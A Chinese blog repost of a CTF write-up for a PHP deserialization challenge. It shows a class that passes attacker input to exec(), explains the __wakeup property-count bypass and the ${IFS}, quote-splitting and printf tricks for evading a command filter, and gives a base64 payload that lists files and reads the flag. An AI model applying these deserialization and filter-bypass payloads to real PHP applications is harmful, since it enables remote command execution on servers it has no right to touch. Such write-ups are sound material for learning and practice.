首页 > 编程语言 >【PHP样本】反序列化ctf题

【PHP样本】反序列化ctf题

时间:2024-12-12 20:43:59浏览次数:6  
标签:__ PHP args ctf wakeup 序列化 method

题目:

<?php
  highlight_file(__FILE__);

class ease{

  private $method;
  private $args;
  function __construct($method, $args) {
    $this->method = $method;
    $this->args = $args;
  }

  function __destruct(){
    if (in_array($this->method, array("ping"))) {
      call_user_func_array(array($this, $this->method), $this->args);
    }
  } 

  function ping($ip){
    exec($ip, $result);
    var_dump($result);
  }

  function waf($str){
    if (!preg_match_all("/(\||&|;| |\/|cat|flag|tac|php|ls)/", $str, $pat_array)) {
      return $str;
    } else {
      echo "don't hack";
    }
  }

  function __wakeup(){
    foreach($this->args as $k => $v) {
      $this->args[$k] = $this->waf($v);
    }
  }   
}

$ctf=@$_POST['ctf'];
@unserialize(base64_decode($ctf));
?>

我们对代码进行分析之前,首先需要了解一些序列化的知识。首先序列化本身的目的是将数据经过处理,以json的形式传输。

PHP中的序列化一般使用serialize()函数进行处理,使用unserialize()可以对序列化的字符进行解密,下面是序列化的数据。

上面使用了几种构造方法:
__construct构造方法

当使用new关键字实例化一个对象时,构造函数将会自动调用。如果构造函数有参数的话,那么在实例化的时候也需要传入对应的参数。

绕过:

反序列化的时候,类的构造函数即不会被执行。
__destruct()析构方法

析构函数只有在对象被垃圾收集器收集之前,才会被自动调用。析构函数允许我们在销毁一个对象之前执行一些特点的操作,例如关闭文件,释放结果集。

触发条件:

主动调用unset函数将指向对象的变量删除

指向对象的变量被置为空,导致对象无法引用

程序自动结束、垃圾回收机制回收
__wakeup()方法

在 unserialize()调用之前,会检查是否存在一个wakeup方法。如果存在,会先调用他,预先准备对象数据。
wakeup绕过

将需要进行反序列化的对象的序列化字符串中的成员数,大于实际成员数量。

调用wakeup方法,序列化字符串中表示对象属性个数大于真实的属性个数时,就会跳过wakeup执行。
printf绕过

Linux中的printf函数,可以将十六进制或者八进制的字符数字转化ASCII字符内容输出。
Linux中对空格过滤

Linux中的IFS变量,我们通过设置这个变量为空格、tab、回车的其中一个或者几个。我们设置其变量为空格的时候,可以绕过空格的过滤。

$()与`(反引号)

在命令中,这两个都是用来作为命令替换,例如:

$ echo today is $(date "+%Y-%m-%d"),

执行结果:

today is 2014-07-01

$$()会将$()返回的结果视为命令进行执行,命令窗口里会有一个$

思路

我们需要通过序列化进行命令执行。所以我们要绕过其中的一些正则过滤

其次整个代码的意思,是可以接收post传来的ctf的值,然后对这个进行base64编码以及反序列化,我们可以控制ctf变量。

我们来研究下他的一个过滤规则,wakeup方法中,进行了正则过滤,再看destruct方法,该方法检测ping是否在method中,并且调用了名为method的方法,以数组arg的值为参数。

综合来看就是在通过$method和__construct来调用构造的ping方法,接着通过$args来作为输入口进行命令的输入。

也就是说我们需要将我们要执行的命令,进行序列化,然后加密为base64之后传入进去

O:4:"ease":2:{s:12:"easemethod";s:4:"ping";s:10:"easeargs";a:1 {i:0;s:4:"l''s";}}

发送之后可以看到

文件下有两个文件,一个index,一个flag

我们可以ls一下flag文件,这里面的命令使用双引号单引号绕过

执行上面这段代码进行序列化之后,我们就可以获得flag文件

Tzo0OiJlYXNlIjoyOntzOjEyOiIAZWFzZQBtZXRob2QiO3M6NDoicGluZyI7czoxMDoiAGVhc2UAYXJncyI7YToxOntpOjA7czoyNDoibCIicyR7SUZTfWYiImxhZ18xc19oZXJlIjt9fQ==

最后我们cat一下这个flag.php文件

获得flag

标签:__,PHP,args,ctf,wakeup,序列化,method
From: https://www.cnblogs.com/o-O-oO/p/18603392

相关文章

  • 反序列化漏洞原理、成因、危害、攻击、防护、修复方法
    反序列化漏洞是一种安全漏洞,它允许攻击者将恶意代码注入到应用程序中。这种漏洞通常发生在应用程序从不安全的来源反序列化数据时。当应用程序反序列化数据时,它将数据从一种格式(例如JSON或XML)转换为另一种格式(例如对象或列表)。如果应用程序不检查数据的安全性,攻击者就可以将......
  • 常见漏洞篇——反序列化漏洞详解_反序列漏洞原理
    网络安全常见漏洞篇反序列化漏洞反序列化漏洞(DeserializationVulnerability)是一种安全漏洞,存在于应用程序中对数据进行反序列化操作的过程中。当应用程序接收到外部传递的恶意序列化数据并进行反序列化时,攻击者可以利用这个漏洞执行未经授权的代码或导致应用程序受到攻击......
  • 易优CMS插件config.php配置文件
    插件config.php配置文件配置如下:returnarray('code'=>'Demo',//插件标识'name'=>'示例',//插件名称'version'=>'v1.0.0',//当前插件版本'min_version'=>'v1.1.6',//最低系统版本支持......
  • ThinkPHP+Uniapp二手车置换平台小程序系统源码
    二手车置换平台小程序系统微信小程序+抖音小程序双端数据同步基于ThinkPHP+Uniapp开发的一款二手车置换平台小程序系统,为买家和卖家提供了一个交流和交易的平台,促进了二手车市场的发展!车辆发布:自主发布车辆信息圈子交流:可以在圈子进行信息交流数据统计:每日的访客数量,留言......
  • Thinkphp后端管理系统+Uniapp客户端社区团购(仅支持微信小程序)
    Shopro社区团购(小程序版)基于Thinkphp后端管理系统+Uniapp客户端(仅支持微信小程序)开发,生鲜果蔬社区团购的不二之选、快速搭建社区团购平台、让你的产品走进上千个社区。线上团购+线下自提,玩转社区消费新模式提供专业、优质的社区团购解决方案!自提点1.选择自提点可根据定......
  • php网站前端页面修改,如何更新PHP网站前端页面
    更新PHP网站的前端页面是提升用户体验和优化设计的重要步骤。以下是详细的修改步骤:确定需要修改的页面:列出需要更新的页面,如首页、产品页、关于我们页等。备份文件:在进行任何修改之前,请确保备份网站的所有文件和数据库,以防出现问题时能够恢复。编辑HTML文件:找到......
  • PHP代码免费加密软件
    PHP代码免费加密平台,PHP混淆加密无需安装组件运行,兼容主流PHP版本,支持主流语法结构,PHP代码多方位重构,性能损耗低,保证加密后代码运行效率,目前最好的混淆加密算法,算法多变,代码变化万千,最大程度保护您的代码。SG14组件加密目前最好的PHP组件加密,目前无解。兼容多版本可以自定义PH......
  • 酷柚易汛进销存系统PHP+Uniapp
    移动端订货通、商品管理、库存管理、订单管理、客户管理、供应商、财务管理、经营分析版本更新V1.6.41、新增供应商分类不可添加重复类别2、新增客户分类不可添加重复类别3、新增商品分类不可添加重复类别4、新增支出类别不可添加重复类别5、新增收入类别不可添加重复类别6、......
  • 酷柚易汛生产管理系统PHP+Uniapp
    生产管理系统,帮助企业数字化转型,打造智能工厂,专业为生产企业量身开发的一套完整的生产管理系统。主要包含以下模块:购货模块、生产模块、仓库模块、资料模块,可配合酷柚易汛进销存无缝衔接使用。产品理念:共享功能:信息共享:产品支持企业内部各部门之间的信息共享,确保信息的......
  • 酷柚易汛进销存系统PHP+Uniapp
    移动端订货通、商品管理、库存管理、订单管理、客户管理、供应商、财务管理、经营分析版本更新V1.6.41、新增供应商分类不可添加重复类别2、新增客户分类不可添加重复类别3、新增商品分类不可添加重复类别4、新增支出类别不可添加重复类别5、新增收入类别不可添加重复类......